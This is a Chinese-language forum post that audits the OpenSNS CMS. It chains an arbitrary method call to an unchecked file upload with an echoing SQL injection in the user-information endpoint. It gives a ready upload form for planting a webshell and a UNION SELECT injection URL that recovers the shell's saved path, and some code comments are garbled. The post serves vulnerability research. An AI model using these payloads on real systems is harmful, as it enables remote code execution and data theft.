

漏洞分析

我们先看漏洞触发点：在/Application/Weibo/Controller/ShareController.class.php中第20行：

```
public function doSendShare(){
    $aContent = I('post.content','','text');
    $aQuery = I('post.query','','text');
    parse_str($aQuery,$feed_data);

    if(empty($aContent)){
        $this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_'));
    }
    if(!is_login()){
        $this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_'));
    }

    $new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']);

    $user = query_user(array('nickname'), is_login());
    $info = D('Weibo/Share')->getInfo($feed_data);
```

可以看到这里的\$aContent和\$aQuery都是我们POST进来的，是我们可控的，然后可以看到将\$aQuery这个变量做了一个parse_str()操作。

```
parse_str($aQuery,$feed_data);
```

然后我们开始跟踪\$feed_data这个变量。可以看到最后一行将\$feed_data这个变量带入了getInfo()这个函数中。我们追踪一下该函数：在/Application/Weibo/Model/ShareModel.class.php中：

```
public function getInfo($param)
{
    $info = array();
    if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
        $info = D($param['app'].'/'.$param['model'])->>$param['method']($param['id']);
    }
    return $info;
}
```

可以看到这里的形参\$param就是我们传进来的\$feed_data实参。

这里有一个操作很有意思：

```
$info = D($param['app'].'/'.$param['model'])->>$param['method']($param['id']);
```

其中\$param['app']以及\$param['model'], \$param['method'], \$param['id']都是我们可控的。

其中这个D()函数是thinkphp中的一个实例化类型的函数，我们追踪一下：

在/ThinkPHP/Common/functions.php中第616行：

```
function D($name = '', $layer = '')
{
if (empty($name)) return new Think\Model;
static $_model = array();
$layer = $layer ? : C('DEFAULT_M_LAYER');
if (isset($_model[$name . $layer]))
return $_model[$name . $layer];
$class = parse_res_name($name, $layer);
if (class_exists($class)) {
$model = new $class(basename($name));
} elseif (false === strpos($name, '/')) {
// ████████████████████
if (!C('APP_USE_NAMESPACE')) {
import('Common/' . $layer . '/' . $class);
} else {
$class = '\\Common\\' . $layer . '\\' . $name . $layer;
}
}
```

这个函数有两个参数，但是我们只能控制第一个参数的值，也就是形参\$name的值。那么可以看到如果\$layer为空的话，就取C('DEFAULT_M_LAYER')的值，那么这个值是多少呢？

```
DEFAULT_M_LAYER'      =>  'Model', // ■■■■■■■■■■
```

如上文所说

其中\$param['method']就是我们要调用的方法名称，\$param['id']就是该方法的第一个参数。

刚开始以为这能够造成一个任意代码执行啥的..结果找了很久发现并不能实例化到任意代码执行的那个类。所以又得重新找其它类。然后找来找去找到了在/Application/Horizon/这个类里面有一个文件上传函数：

那么意思是我们就能够调用这个文件上传函数了，我们看一下这个文件上传函数：其中上传文件驱动默认的是Local,也就是说一定是存储在本地的。

然后\$config没有进行赋值，默认是null。

然后在第三行调用了upload()函数，我们追踪一下：

```
public function upload($files = '')
{
```

[illegible]

```

/* ██████████ */
$savename = $this->getSaveName($file);
if (false == $savename) {
continue;
} else {
$file['savename'] = $savename;
//$file['name'] = $savename;
}

/* ██████████ */
$subpath = $this->getSubPath($file['name']);
if (false == $subpath) {
continue;
} else {
$file['savepath'] = $this->savePath . $subpath;
}

/* ████████████████████ */
$ext = strtolower($file['ext']);
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) {
$imginfo = getimagesize($file['tmp_name']);
if (empty($imginfo) || ($ext == 'gif' && empty($imginfo['bits']))) {
$this->error = '██████████';
continue;
}
}

$file['rootPath'] = $this->config['rootPath'];
$name = get_addon_class($this->driver);
if (class_exists($name)) {
$class = new $name();
if (method_exists($class, 'uploadDealFile')) {
$class->uploadDealFile($file);
}
}

/* █████ ████████████████████ */
if ($this->uploader->save($file, $this->replace)) {
unset($file['error'], $file['tmp_name']);
$info[$key] = $file;
} else {
$this->error = $this->uploader->getError();
}
}
if (isset($finfo)) {
finfo_close($finfo);
}

return empty($info) ? false : $info;
}
████thinkphp████upload()████████████████████
if ('' == $files) {
$files = $_FILES;
}

```

如果\$files是空的话，它会默认检查整个\$_FILES数组，意味着不需要我们设定特定上传文件表单名。

然后重点就是对于后缀检测的这里：

```

/* ████████ */
if (!$this->check($file)) {
continue;
}
████check()██████████████████
████████294████
private function check($file)
{
/* ████████████████████ */
if ($file['error']) {
$this->error($file['error']);
}
}

```

```

return false;
}

/*      */
if (empty($file['name'])) {
$this->error = '      ';
}

/*      */
if (!is_uploaded_file($file['tmp_name'])) {
$this->error = '      ';
return false;
}

/*      */
if (!$this->checkSize($file['size'])) {
$this->error = '      ';
return false;
}

/*      Mime      */
//TODO:FLASH      mime      application/octet-stream
if (!$this->checkMime($file['type'])) {
$this->error = '      MIME      ';
return false;
}

/*      */
if (!$this->checkExt($file['ext'])) {
$this->error = '      ';
return false;
}

/*      */
return true;
}

```

首先看一下mime类型的检测，调用了checkmime()函数，我们追踪一下：

在该文件的380行：

```
private function checkMime($mime)
{
    return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes);
}

#####$this->config['mimes']#####true#####$config#####
#####$config##

    private $config = array(
        'mimes' => array(), //#####MiMe##
        'maxSize' => 0, //##### (0-####)
        'exts' => array(), //#####
        'autoSub' => true, //#####
        'subName' => array('date', 'Y-m-d'), //#####[0]-####[1]-#####
        'rootPath' => './Uploads/', //#####
        'savePath' => '', //####
        'saveName' => array('uniqid', ''), //#####[0]-####[1]-#####
        'saveExt' => '', //#####
        'replace' => false, //#####
        'hash' => true, //#####hash##
        'callback' => false, //#####
        'driver' => '', // #####
        'driverConfig' => array(), // #####
    );
```

所以这里肯定是返回true的，所以mime类型检测绕过了。

然后我们开始看后缀检测：

调用了一个checkExt()函数，我们追踪一下：

在389行：

```
if($info){ //■■■■■■■■■■■■■■■■■■■■■
foreach ($info as $key => &$value) {
/* ■■■■■■■■■■ */
if(isset($value['id']) && is_numeric($value['id'])){
continue;
}
}
```

```

/* ████████ */
if($this->create($value) && ($id = $this->add())){
$value['id'] = $id;

```

可以发现，当我们上传完东西后，是会把我们上传的信息给记录下来的，而记录在哪里呢？没错，就是在数据库当中的ocenter_file表里面，我们可以去看一下：

可以看到我们上传的东西，这里都会有记录，包括文件保存的位置和保存的文件名，都有。
 所以如果我们想知道上传后的位置和文件名，只需要我们能够从数据库中得到数据就可以了，那么怎么得到呢？
 没错，就是通过注入！
 注入倒是好挖，但是我们需要方便快捷一点，所以我们就需要一个能够回显的注入。

所以我又挖了一个这个cms的注入漏洞带回显的，在Application/Ucenter/Controller/IndexController.class.php中的information函数中：

```

public function information($uid = null)
{
//██API██████
//TODO tox ████████
$user = query_user(array('nickname', 'signature', 'email', 'mobile', 'rank_link', 'sex', 'pos_province', 'pos_city', 'pos_dist
████$uid████query_user████████████████████/Application/Common/Model/UserModel.class.php█:
function query_user($pFields = null, $uid = 0)
{
$user_data = array();//████
$fields = $this->getFields($pFields);//████████
$uid = (intval($uid) != 0 ? $uid : get_uid());//██UID
//████████████████████

list($cacheResult, $fields) = $this->getCacheFields($fields, $uid);
$user_data = $cacheResult;//██████████
//████████████████████████████████████████
list($user_data, $fields) = $this->getNeedQueryData($user_data, $fields, $uid);

```

这里有个细节很重要，就是看\$uid重新赋值的时候：

```
$uid = (intval($uid) != 0 ? $uid : get_uid());//██UID
```

它验证的是intval(\$uid)是否为0，但是取值的时候并没有intval，所以这个地方注入语句不会被过滤掉，然后我们跟进getNeddQueryData这个函数看看：

```

private function getNeedQueryData($user_data, $fields, $uid)
{
$need_query = array_intersect($this->table_fields, $fields);
//██████████
if (!empty($need_query)) {
$db_prefix=C('DB_PREFIX');
$query_results = D('')->query('select ' . implode(',', $need_query) . " from `{$db_prefix}member`,`{$db_prefix}ucenter_member`";
$query_result = $query_results[0];
$user_data = $this->combineUserData($user_data, $query_result);
$fields = $this->popGotFields($fields, $need_query);
$this->writeCache($uid, $query_result);
}
return array($user_data, $fields);
}

```

可以看到，直接给\$uid拼接到sql语句中去了，所以造成了一个注入，并且这个注入是有回显的，非常方便。

利用方式：

在首先，我们注册一个前台用户并登录上去(这种sns系统肯定会提供前台注册啦)

然后我们开始构造上传表单：

```

<html>
<body>

<form action="http://localhost/index.php?s=/weibo/share/doSendShare.html" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file_img" id="file" />
<br />
<input type="text" name="content" value="123" id="1" />

```

```
<input type="text" name="query" id="2" value="app=Home&model=File&method=upload&id=" />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>
```

然后我们开始上传我们的webshell：

这里的两个框框里的数据都不要改，直接上传我们的shell就可以了：

然后我们点击上传，就可以成功上传了，但是上传后是不会有路径回显的，所以我们下一步，开始注入：

payload:

[http://localhost/index.php?s=/ucenter/index/information/uid/23333%20union%20\(select%201,2,concat\(savepath,savename\),4%20from%20ocenter_file%20wh](http://localhost/index.php?s=/ucenter/index/information/uid/23333%20union%20(select%201,2,concat(savepath,savename),4%20from%20ocenter_file%20wh)
就能得到我们shell的保存路径了，如图：

那么最终shell的路径就是：

<http://localhost/Uploads/2017-01-20/5881ce0db9438.php>

点击收藏 | 0 关注 | 0

[上一篇：扩充僵尸网络至企业内网核心区](#) [下一篇：SQL注入之获取指定数据库数据My...](#)

1. 4 条回复



[ph4nt0mer](#) 2017-03-13 11:04:54

0 回复Ta



[balisong](#) 2017-03-13 15:01:14

尴尬..这是你当年审过的洞

0 回复Ta



[hades](#) 2017-03-13 15:43:13

这你都能认识。。@[ph4nt0mer](#) 是不是也该走一波

0 回复Ta



[ly55521](#) 2017-06-02 15:15:21

opensns 这个厂商不知道咋想呢，补天不收 opensns 的洞，之前交了一个，补天说不收。。。

0 回复Ta

[登录](#) 后跟帖

[先知社区](#)

[现在登录](#)

[热门节点](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)